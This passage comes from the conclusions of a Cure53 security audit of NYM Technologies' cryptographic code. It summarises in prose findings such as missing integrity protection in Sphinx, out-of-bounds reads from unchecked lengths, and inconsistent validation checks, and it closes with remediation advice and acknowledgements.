The team closely investigated the implementation of the Sphinx protocol. Here it was found that the protocol utilizes AES128-CTR for encryption, which is in contrast to the encryption scheme of the original protocol proposal. Due to the use of AES128-CTR without integrity protection, the Sphinx protocol suffers from a lack of integrity protection (NYM-01-013). The Sphinx protocol was also checked for potential DoS situations, and the team managed to spot several problems in this regard (NYM-01-003). This ticket summarizes missing length checks on incoming packets in Sphinx, essentially resulting in out-of-bounds reads.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Key generation for all schemes was investigated. It should be noted that the distributed key generation of Coconut was out-of-scope for this assessment. However, all other key generations utilize sufficiently strong randomness to generate cryptographic key material. Similar observations hold true for the generation of nonces, as they also use cryptographically secure randomness.

Cure53 also investigated the selection of the underlying crypto libraries, as it contributes greatly to the security of the implemented protocols. Many of the elliptic curve and pairing-based protocols could be subverted with points not on the curve, or points not belonging to the correct subgroups. However, since the underlying cryptographic libraries (in particular *bls12_381*) perform strict membership checks, such attacks are prevented.

Towards the end of the audit, the team identified a potential out-of-bounds read situation for the *keygen.rs* file of the Coconut crate. The *try_from* function of the *KeyPair* struct fails to validate the value of the *secret_key_len* variable from the serialized representation of the key pair, which could result in an out-of-bounds read of the underlying array. Since the deserialization should only happen if there is a misconfiguration through an operator, Cure53 decided to provide this observation within the conclusions, rather than creating an explicit ticket for it.

Overall, while the team achieved good coverage over this work package and its in-scope components, the security of the cryptographic schemes left a mixed impression. While some vulnerabilities have been mitigated, there is still room for improvement here. Cure53 discovered several flaws of *Critical* severity, mostly relating to missing input data validations (like, for example, infinity point validations). The issues related to cryptographic operations (e.g., eCash collisions or Bloom filter parameters) suggest that while advanced cryptographic concepts were used, their implementation did not always follow best practices.

While it is recommended that fixing the *Critical* severity flaws discovered during this assessment should have the highest priority, it is also advised that mitigation of the other vulnerabilities and issues discovered here should occur in a timely manner. This would help to minimize the platform's existing attack surface. It is also recommended that a re-test of the entire cryptography is performed after the vulnerabilities and issues identified here have been addressed, in order to ensure that they are properly mitigated.

In summary

In general, the inspected codebase contains several critical security oversights, including improper signature verification, and inconsistent credential checks. This suggests a need for more rigorous security practices, and code reviews focused on cryptographic implementations. Also, issues such as centralized gateway fetching and hard-coded "fast nodes" indicate some architectural decisions that could limit the system's resilience and scalability from a holistic perspective. There seems to be a need for more decentralized and dynamic approaches to the overall network design and implementation.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The lack of such a holistic approach to the system's overall engineering is also evident from the presence of security checks in some code paths but not others (e.g., Bloom filter checks), as this indicates an inconsistent application of security measures. This suggests the need for more systematic and uniform application of security controls throughout the codebase.

Cure53 would like to thank Harry Halpin, Mark Sinclair, Alfredo Rial Duran, Ania M. Piotrowska, Romain Nicod, Claudia Diaz, and Marc Debizet from the NYM Technologies SA team for their excellent project coordination, support and assistance, both before and during this assignment.